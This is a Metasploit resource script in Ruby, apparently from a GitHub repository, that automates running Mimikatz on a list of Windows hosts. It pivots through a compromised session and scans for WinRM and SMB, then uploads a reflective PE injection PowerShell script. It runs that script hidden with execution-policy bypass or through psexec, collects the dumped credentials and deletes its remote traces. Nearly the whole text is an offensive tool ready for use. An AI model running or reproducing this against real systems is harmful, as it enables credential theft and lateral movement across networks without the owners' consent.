Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
265 lines (211 sloc) 8.56 KB
# mimikatz.rc
# 1. routes through a session
# 2. runs mimikatz through powershell if it's available
# 3. if not, runs mimikatz through psexec
# OPTIONS as framework environment variables (setg)
# also must have mimikatz as a powershell script (see clym...)
# Required options
# RHOST_FILE - target host file, one per line
# SESSION - session to run through
# Optional
# duser - domain user to run checks with (optional, else runs within context of session) DOMAIN\user
# dpass - password (optional, else runs within context of session)
# SUBNET - By default uses the session
<ruby>
hfile = open(framework.datastore['RHOST_FILE'], "r")
hfile.each_line do |rhost|
rhost = rhost.strip
if rhost.start_with?("#")
next
end
print_line("#####################")
print_line("# Beginning #{rhost}")
print_line("#####################")
time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
if (rhost == nil)
print_error("ERROR: must set RHOST")
end
ip = 0
print_line("#####################")
print_line("# Routing through Session #{framework.datastore['SESSION']}")
print_line("#####################")
run_single("route flush")
if (framework.datastore['NETMASK'] == nil)
run_single("use post/windows/recon/resolve_hostname")
run_single("set SESSION #{framework.datastore['SESSION']}")
run_single("set HOSTNAME #{rhost}")
run_single("run")
framework.db.hosts.each do |h|
begin
if (h.name.chomp == rhost.chomp)
ip = h.address
end
rescue
next
end
end
else
ip = framework.datastore['SUBNET']
end
if (ip == 0)
print_error "Session or host might be invalid. Exiting"
return
end
run_single("use post/windows/manage/autoroute")
#set broad netmask - we'll delete in a minute
run_single("set NETMASK 255.0.0.0")
run_single("set SUBNET #{ip}")
run_single("run")
print_line("#####################")
print_line("# PORTSCANNING #{rhost}")
print_line("#####################")
run_single("use auxiliary/scanner/portscan/tcp")
run_single("set RHOSTS #{ip}")
#check for remote powershell, smb
run_single("set PORTS 5985,5986,445")
run_single("run")
#first try remote powershell, then smb
tport = nil
framework.db.hosts.each do |h|
if (h.name == rhost)
puts h.name
h.services.each do |s|
if (s.port == 5985 or s.port == 5986)
print_line "Powershell looks enabled, using that rather than SMB"
tport = s.port
break
elsif (s.port == 445)
print_line "SMB is enabled. Use this if remote ps is disabled"
tport = s.port
end
end
end
end
print_line("#####################")
print_line("# Running Mimikatz on #{framework.datastore['duser']} on #{rhost}")
print_line("#####################")
#
# the idea is to upload a powershell script, that then runs invoke-command on other hosts if remote ps is enabled
# else, do smb
#
# also, we can't use the exec_powershell module - it screws up with the big script
lTmpFile = "/tmp/Invoke-ReflectivePEInjection.ps1.tmp"
FileUtils.cp "copy/Invoke-ReflectivePEInjection.ps1", lTmpFile
invoke_cmd = ""
if (tport == 5985 or tport == 5986)
#invoke the command with remote powershell
invoke_cmd = "Invoke-ReflectivePEInjection -PEPath dummy -computerName #{rhost}"
if (framework.datastore['duser'] != $nil and framework.datastore['dpass'] != nil)
invoke_cmd += " -userName #{framework.datastore['duser']} -password #{framework.datastore['dpass']}"
end
else
#if remote ps isn't enabled, we'll copy this powershell over and psexec it, so it's running on localhost
invoke_cmd = "Invoke-ReflectivePEInjection -PEPath dummy"
end
open(lTmpFile, 'a') do |f|
f.puts invoke_cmd
f.close()
end
r_filename = Rex::Text.rand_text_alpha(8) + ".ps1"
r_outputname = Rex::Text.rand_text_alpha(8)
log_dir = ::File.join(Msf::Config.log_directory, 'mimi')
::FileUtils.mkdir_p(log_dir)
log_file = ::File.join(log_dir,"#{rhost}-#{time_stamp}.txt")
if (tport == 5985 or tport == 5986)
session = framework.sessions[Integer(framework.datastore['SESSION'])]
if (session.type == "meterpreter")
#TODO reverse dns lookup up the IP
tempdir = session.fs.file.expand_path("%TEMP%")
r_file = "#{tempdir}\\#{r_filename}"
r_outfile = "#{tempdir}\\#{r_outputname}"
session.fs.file.upload_file(r_file, lTmpFile)
print_line("uploading to #{r_file}")
print_line("uploading to #{lTmpFile}")
sleep 15
m_cmd = "cmd /c echo \".\" | powershell -Executionpolicy bypass -Command \"& #{r_file} >> \"#{r_outfile}\""
print_line("Executing the following command over remote powershell")
print_line(m_cmd)
proc = session.sys.process.execute(m_cmd , nil, {'Hidden' => 'true', 'Channelized' => true})
proc.wait()
sleep 5
print_line("saving output in #{log_file}")
session.fs.file.download_file(log_file, r_outfile)
sleep 5
print_line("Cleaning remote files")
session.fs.file.rm(r_outfile)
session.fs.file.rm(r_file)
end
else
print_line("#####################")
print_line("# Enumerating open shares")
print_line("#####################")
domain, user = framework.datastore['duser'].split("\\")
run_single("use auxiliary/scanner/smb/smb_enumshares")
#use IP because our host can't validate the name
run_single("set RHOSTS #{ip}")
run_single("set SMBPass #{framework.datastore['dpass']}")
run_single("set SMBUser #{user}")
run_single("set SMBDomain #{domain}")
#no remote powershell, using smb
run_single("run")
mshare = ""
mpath = ""
mpath_out = ""
#pick C$ if available, otherwise just pick a random DISK share
framework.db.notes.each do |h|
if (h.host.address == ip and h.ntype == "smb.shares")
stupid = eval(h.data[:shares])
stupid.each do |share|
#puts share[0]
if(share[0] == "C\x00$\x00" or share[0] == "C$\x00")
mshare = "C$"
mpath = "\\\\Windows\\\\Temp\\\\#{r_filename}"
mpath_out = "\\\\Windows\\\\Temp\\\\#{r_outputname}"
break
elsif(share[1] == "DS")
mshare = share[0]
mpath = "#{r_filename}"
mpath_out = "#{r_outputname}"
end
end
end
end
if ($mshare == "")
print_error "could not find an upload directory"
return
end
print_line "Uploading file to #{mshare} : #{mpath}"
#upload powershell script
run_single("use auxiliary/admin/smb/upload_file")
run_single("set RHOST #{ip}")
run_single("set SMBSHARE #{mshare}")
run_single("set LPATH #{lTmpFile}")
run_single("set RPATH #{mpath}")
run_single("set SMBPass #{framework.datastore['dpass']}")
run_single("set SMBUser #{user}")
run_single("set SMBDomain #{domain}")
run_single("run")
#escape hell
r_file = "\\\\\\\\localhost\\\\#{mshare}\\#{mpath}"
r_outfile = "\\\\\\\\localhost\\\\#{mshare}\\#{mpath_out}"
#execute powershell script with psexec
m_cmd = "powershell -Executionpolicy bypass -Command \\\"& #{r_file}\\\""
print_line "psexecing: #{m_cmd}"
run_single("use auxiliary/admin/smb/psexec_command")
run_single("set RHOSTS #{ip}")
run_single("set COMMAND #{m_cmd}")
run_single("set SMBSHARE #{mshare}")
run_single("set SMBPass #{framework.datastore['dpass']}")
run_single("set SMBUser #{user}")
run_single("set SMBDomain #{domain}")
run_single("set LOGDIR #{log_dir}")
run_single("set DELAY 5")
run_single("set RETRY 20")
run_single("run")
end
end
print_line("#####################")
print_line("# Cleaning up: Resetting routes")
print_line("#####################")
run_single("route flush")
</ruby>